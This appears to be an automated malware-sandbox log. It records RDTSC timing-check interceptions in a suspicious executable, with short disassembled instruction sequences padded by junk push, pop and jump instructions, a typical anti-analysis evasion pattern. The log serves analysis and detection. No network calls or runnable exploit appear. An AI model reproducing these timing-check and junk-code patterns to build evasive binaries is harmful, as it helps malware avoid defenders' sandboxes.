Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11D48C7 second address: 11D48CC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11D49A3 second address: 11D49A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11D49A9 second address: 11D49D2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jc 00007FCD80B68F16h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jo 00007FCD80B68F1Eh 0x00000013 jo 00007FCD80B68F18h 0x00000019 pushad 0x0000001a popad 0x0000001b mov eax, dword ptr [esp+04h] 0x0000001f jbe 00007FCD80B68F24h 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11D49D2 second address: 11D49D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11D49D6 second address: 11D49E7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007FCD80B68F16h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11D49E7 second address: 11D49F9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FCD80B38A06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jng 00007FCD80B38A0Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11DA06A second address: 11DA079 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD80B68F1Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11DA079 second address: 11DA07D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11DA07D second address: 11DA083 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11D9587 second address: 11D95A0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FCD80B38A14h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11D95A0 second address: 11D95D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jc 00007FCD80B68F43h 0x0000000d pushad 0x0000000e jl 00007FCD80B68F16h 0x00000014 jmp 00007FCD80B68F29h 0x00000019 js 00007FCD80B68F16h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11D9AEC second address: 11D9AF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11DFACE second address: 11DFAD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11DFAD2 second address: 11DFAD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11DFAD6 second address: 11DFAFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jmp 00007FCD80B68F27h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11DFAFD second address: 11DFB21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007FCD80B38A1Fh 0x0000000b jmp 00007FCD80B38A19h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11DFB21 second address: 11DFB27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11E01AC second address: 11E01BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FCD80B38A06h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11E01BC second address: 11E01C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11DF7C9 second address: 11DF7D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11DF7D2 second address: 11DF7EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B68F29h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11DF7EF second address: 11DF84A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007FCD80B38A0Dh 0x0000000d pushad 0x0000000e jns 00007FCD80B38A06h 0x00000014 jl 00007FCD80B38A06h 0x0000001a jne 00007FCD80B38A06h 0x00000020 popad 0x00000021 pushad 0x00000022 jmp 00007FCD80B38A18h 0x00000027 jmp 00007FCD80B38A17h 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11E3A2C second address: 11E3A58 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B68F26h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FCD80B68F22h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11E3A58 second address: 11E3A5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11E50D3 second address: 11E50DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FCD80B68F16h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11E9327 second address: 11E932C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B5CA2 second address: 11B5CDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD80B68F20h 0x00000009 popad 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e stc 0x0000000f jmp 00007FCD80B68F1Fh 0x00000014 lea eax, dword ptr [ebp+124809F9h] 0x0000001a mov ecx, dword ptr [ebp+122D2BEEh] 0x00000020 nop 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 push edi 0x00000025 pop edi 0x00000026 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B5CDD second address: 11B5CE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B5CE1 second address: 1192948 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FCD80B68F18h 0x0000000c popad 0x0000000d push eax 0x0000000e jc 00007FCD80B68F20h 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push esi 0x00000018 call 00007FCD80B68F18h 0x0000001d pop esi 0x0000001e mov dword ptr [esp+04h], esi 0x00000022 add dword ptr [esp+04h], 0000001Ah 0x0000002a inc esi 0x0000002b push esi 0x0000002c ret 0x0000002d pop esi 0x0000002e ret 0x0000002f pushad 0x00000030 mov cl, 3Ah 0x00000032 movsx ecx, bx 0x00000035 popad 0x00000036 call dword ptr [ebp+122D1C9Eh] 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B5DD9 second address: 11B5DDF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B5DDF second address: 11B5DE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FCD80B68F16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B5DE9 second address: 11B5DF6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B5F09 second address: 11B5F24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B68F1Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007FCD80B68F16h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B5F24 second address: 11B5F28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B6411 second address: 11B642E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B68F1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007FCD80B68F18h 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B642E second address: 11B6434 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B6434 second address: 11B6438 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B6438 second address: 11B643C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B64DE second address: 11B64E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B6B3D second address: 11B6B41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B6CA7 second address: 11B6CBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 jo 00007FCD80B68F28h 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007FCD80B68F16h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B6CBC second address: 11B6CC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B6F62 second address: 11B6FA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edi 0x00000008 jmp 00007FCD80B68F1Dh 0x0000000d pop edi 0x0000000e nop 0x0000000f lea eax, dword ptr [ebp+12480A3Dh] 0x00000015 add dword ptr [ebp+122D1937h], ebx 0x0000001b nop 0x0000001c jo 00007FCD80B68F29h 0x00000022 pushad 0x00000023 push eax 0x00000024 pop eax 0x00000025 jmp 00007FCD80B68F1Fh 0x0000002a popad 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B6FA6 second address: 11B6FB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B38A0Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11E8A3F second address: 11E8A43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11E8A43 second address: 11E8A58 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FCD80B38A06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jnp 00007FCD80B38A06h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11E8A58 second address: 11E8A5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11E8D5D second address: 11E8D63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11EECD2 second address: 11EECE0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B68F1Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11EECE0 second address: 11EECF5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FCD80B38A0Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11EECF5 second address: 11EECFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11EECFB second address: 11EED06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11EED06 second address: 11EED0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11EED0A second address: 11EED27 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FCD80B38A06h 0x00000008 jmp 00007FCD80B38A13h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11EF031 second address: 11EF036 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11EF425 second address: 11EF42B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11EF42B second address: 11EF43D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD80B68F1Dh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11EF43D second address: 11EF45F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FCD80B38A13h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d ja 00007FCD80B38A06h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11EF45F second address: 11EF46C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007FCD80B68F16h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11EF46C second address: 11EF471 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11EF733 second address: 11EF760 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FCD80B68F29h 0x00000008 jp 00007FCD80B68F16h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 jl 00007FCD80B68F16h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11EF8B9 second address: 11EF8C3 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FCD80B38A0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11EFE54 second address: 11EFE6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jmp 00007FCD80B68F20h 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11EFE6B second address: 11EFE73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11F50E2 second address: 11F50E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11F50E6 second address: 11F50EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11F50EA second address: 11F50F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11F7D5C second address: 11F7D6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FCD80B38A0Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11F7D6E second address: 11F7D84 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FCD80B68F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007FCD80B68F18h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11F7ED2 second address: 11F7EEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD80B38A0Dh 0x00000009 popad 0x0000000a pop eax 0x0000000b js 00007FCD80B38A2Bh 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11FC068 second address: 11FC07D instructions: 0x00000000 rdtsc 0x00000002 jne 00007FCD80B68F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jnl 00007FCD80B68F16h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11FC07D second address: 11FC0CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007FCD80B38A0Ch 0x0000000b jl 00007FCD80B38A06h 0x00000011 popad 0x00000012 pushad 0x00000013 jmp 00007FCD80B38A16h 0x00000018 jnl 00007FCD80B38A12h 0x0000001e pushad 0x0000001f push eax 0x00000020 pop eax 0x00000021 jnc 00007FCD80B38A06h 0x00000027 jg 00007FCD80B38A06h 0x0000002d popad 0x0000002e pushad 0x0000002f pushad 0x00000030 popad 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11FB767 second address: 11FB782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD80B68F23h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11FB903 second address: 11FB908 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11FBD76 second address: 11FBD9C instructions: 0x00000000 rdtsc 0x00000002 jne 00007FCD80B68F2Dh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11FBD9C second address: 11FBDC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD80B38A18h 0x00000009 jmp 00007FCD80B38A0Ch 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11FFE28 second address: 11FFE2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11FF815 second address: 11FF820 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11FF820 second address: 11FF826 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11FF9D3 second address: 11FF9D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 12055B2 second address: 12055C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD80B68F1Fh 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 12055C6 second address: 12055D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FCD80B38A06h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1203E41 second address: 1203E46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1203E46 second address: 1203E82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD80B38A19h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007FCD80B38A44h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FCD80B38A12h 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1203E82 second address: 1203E94 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FCD80B68F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007FCD80B68F2Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 12041A2 second address: 12041A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 12041A6 second address: 12041AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 12042F6 second address: 12042FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 12042FE second address: 120431F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edx 0x00000006 jmp 00007FCD80B68F20h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push esi 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 120431F second address: 1204324 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
